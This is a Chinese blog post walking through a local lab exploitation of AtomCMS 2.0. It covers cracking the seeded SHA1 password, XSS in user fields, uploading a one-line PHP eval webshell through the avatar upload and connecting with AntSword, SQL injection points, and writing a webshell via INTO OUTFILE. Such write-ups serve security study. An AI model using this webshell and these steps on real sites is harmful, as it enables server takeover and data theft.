IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> AtomCMS“靶场“ -> 正文阅读

[PHP知识库]AtomCMS“靶场“

AtomCMS文件上传漏洞,xss漏洞


验证工具:

windows11+phpstudy+AtomCMS2.0

复现过程

phpstudy中放置网站源代码

1.将Atom.CMS-master.zip解压后的文件夹Atom.CMS-master改个名AtomCMS然后移动到\phpstudy_pro\WWW文件夹下,改名的目的是使用方便

image-20220414164801050

2.进入AtomCMS目录

image-20220414164904121

进入config子目录

image-20220414164927403

用vscode等编辑器打开connection.php

mysqli-connect函数的参数修改为如图所示

image-20220414165210458

这里localhost不用改

root是mysql软件的用户名

涂红的是我设置的mysql中root用户的密码

mysql中建立网站数据库

1.添加环境变量

phpstudy中的MySQL数据库是不能够使用命令行操作的,如果想要在命令提示符中使用MySQL命令.就得把MySQL的bin目录添加到系统环境变量path下,下面就是添加过程

打开phpstudy,记住正在使用的MySQL版本号

image-20220414165408500

然后将balabala\phpstudy_pro\Extensions\MySQL<版本号>\bin目录添加到环境变量path

比如在我的电脑上就是D:\phpstudy_pro\Extensions\MySQL5.7.26\bin

将其添加到环境变量path

image-20220414165609001

确定之后打开powershell或者cmd或者bash等等各种shell均可

输入mysql -u root -p命令

如果出现Enter password:字样则表明环境变量添加成功

image-20220414165924994

这里密码默认为root

也可以在phpstudy上修改

在这里插入图片描述

这里鼠标移动到密码上就会显示明文,即mysql软件的登录密码

2.建立数据库

我们刚才修改connection.php时是这样写的:

$dbc = mysqli_connect('localhost', 'root', 'balabala', 'atomcms') OR die('Could not connect because: '.mysqli_connect_error());

现在我们用root账户和balabala密码登录了,只需要建立一个名字叫atomcms的数据库

mysql> create database atomcms;
Query OK, 1 row affected (0.00 sec)

到此数据库建立完毕

3.导入数据表

网站的根目录balabala\phpstudy_pro\WWW\AtomCMS下面有这么两个东西

image-20220414170500078

我们需要导入他们到atomcms数据库

这两个文件作用相同,版本不同,database.sql是老版本网站的,database-video81.sql是新版本网站的.

已经测试过导入database-video81.sql会有一些不兼容,并且测试不出文件上传漏洞

两者的区别

image-20220414170746040

在users表中栏目不同,就是这个栏目使得avater会导致一些错误

具体后果不具体展开了

这里导入database.sql

注意在导入之前先使用use命令指定使用atomcms数据库

mysql> use atomcms;
Database changed
mysql> source D:\phpstudy_pro\WWW\AtomCMS\database-video81.sql
Query OK, 0 rows affected, 1 warning (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.02 sec)

Query OK, 2 rows affected (0.02 sec)
Records: 2  Duplicates: 0  Warnings: 0

Query OK, 0 rows affected (0.01 sec)

Query OK, 2 rows affected (0.00 sec)
Records: 2  Duplicates: 0  Warnings: 0

Query OK, 0 rows affected (0.02 sec)

Query OK, 5 rows affected (0.00 sec)
Records: 5  Duplicates: 0  Warnings: 0

到此数据库建立完毕

1.登录网站

重启一下phpstudy里面的apache和mysql服务

然后在浏览器URL行输入127.0.0.1/AtomCMS之后浏览器显示页面如下:

image-20220414171124113

网站的导航页属实没有做好,这里无法进行任何跳转

再在域名行输入127.0.0.1/atomCMS/admin/login.php就来到了登录页面

image-20220414171249579

观察这个页面只有登录没有注册,我们需要一个可以登录的账号密码

观察phpstudy_pro\WWW\AtomCMS\admin\login.php

里面这样写道:

image-20220414171549199

可以发现的是,通过查atomcms.users表验证email和password字段进行登录,查password之前首先把password用SHA1加密然后查表,可见表中的password都是SHA1加密之后的字段

另提一嘴,这里$_POST[email]处没有经过过滤,是存在sql注入漏洞的

而刚才database.sql文件中有写:

INSERT INTO `users` (`id`, `first`, `last`, `email`, `password`, `status`) VALUES
(1, 'Alan2', 'Quandt', 'alan@alan.com', '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8', 1),
(2, 'Justin', 'Gilson', 'justin@justin.com', '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8', 1),
(3, 'John', 'Rainey', 'john@john.com', '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8', 1),
(5, 'John', 'Doe', 'john@doe.com', '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8', 0),
(6, 'Jane', 'Doe', 'jane@doe.com', '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8', 1);

也就是说导入该sql文件到数据库时相当于注册了一些账号

距离登录只差一步之遥,我们选哟知道啊这些password的SHA1值对应的明文是什么

显然SHA1是不能解密的,只能猜测密码然后去试

不过这里五个用户名的密码都是相同的SHA1值,可以啃腚的是明文相同

到这个网站在线解密sha1在线解密 在线加密 (ttmd5.com)

image-20220414173441970

虽然不登录只能看到p开头,但是也可以推测是password字样

image-20220414173540465

submit之后就登录了

image-20220414173610854

2.XSS攻击

最上面一些选项中点选Users页,此时URL变成http://127.0.0.1/atomCMS/admin/index.php?page=users

image-20220414174332513

观察到右侧有好多可以填写的框

都写上xss攻击语句

image-20220414174414241

Save之后

在这里插入图片描述

3.文件上传漏洞

还是在Users栏,选一个Gilson,Justin用户

image-20220414174612632

题外话:

Alan的头像是一个正在吃手手的人

Justin和John看来是Alan的两只宠物狗

检查Justin的头像的前端代码

image-20220414174801718

可以发现它的位置,那么如果是可以上传php文件并显示位置,我们就可以利用一句话木马了

试图上传一个shell.php木马

shell.php:

<?php eval(@$_POST['a']); ?>

image-20220414174911530

image-20220414174947243

显示上传成功了,此时再在刚才的头像位置审查源代码

在这里插入图片描述

发现style="background-image: url('../uploads/1649929771921.php')"

说明我们一句话木马上传成功

使用中国蚁剑

image-20220414175245768

这里"连接密码"和刚才一句话木马中的口令相同

测试连接之后返回连接成功

点击添加之后就取得了webshell

image-20220414175424049

整台计算机都被控制了

观察源代码可以发现更多的漏洞

sql注入漏洞

在这里插入图片描述

关键在于这三句话:

$id = $_GET['id'];
$q = "SELECT avatar FROM users WHERE id = $id";
$r = mysqli_query($dbc, $q);

首先$id使用GET方法从URL行传递,这个可以在前端任意修改

后面就是数字型sql注入了

考虑如何使用mysql输出一个shell文件

mysql> select 123456 into outfile 'C:/Users/86135/Desktop/atomcms/shell.php';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

这种错误表明输出文件功能被关闭或者只能位于某些特定目录下

mysql> show global variables like '%secure%';
+--------------------------+-------+
| Variable_name            | Value |
+--------------------------+-------+
| require_secure_transport | OFF   |
| secure_auth              | ON    |
| secure_file_priv         | NULL  |
+--------------------------+-------+
3 rows in set, 1 warning (0.00 sec)

这表明输出文件是禁止的

我们假设一个网站的该选项是开着的,在phpstudy集成环境中应该这样改:

phpstudy_pro\Extensions\MySQL5.7.26\my.ini中的[mysqld]栏目下面加一行secure_file_priv=

image-20220414181452958

然后在phpstudy中重启MySQL5.7.26服务

之后用shell登录MySQL然后输出文件

mysql> select 123456 into outfile 'C:/Users/86135/Desktop/atomcms/shell.php';
Query OK, 1 row affected (0.00 sec)

发现成功了

更狠一点

mysql> select "<?php eval(@$_POST['a']); ?>" into outfile 'C:/Users/86135/Desktop/atomcms/webShell.php';
Query OK, 1 row affected (0.00 sec)

直接输出一个木马

image-20220414181826307

考虑如何在网站上利用sql注入输出一个木马文件

假设网站的Mysql可以输出文件

下面我们要做的是找一个我们能够访问到的地方输出木马文件

在linux上,网站根目录通常在\var\www\html\那么我们只需要把木马文件输出到这个位置就可以用菜刀或者蚁剑连接了

在windows上,如果用phpstudy建站,通常会在D://phpstudy_pro/WWW/

在我的电脑上AtomCMS根目录位置是D://phpstudy_pro/WWW/AtomCMS/

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-04-18 17:20:14  更:2022-04-18 17:20:48 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/28 13:47:46-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计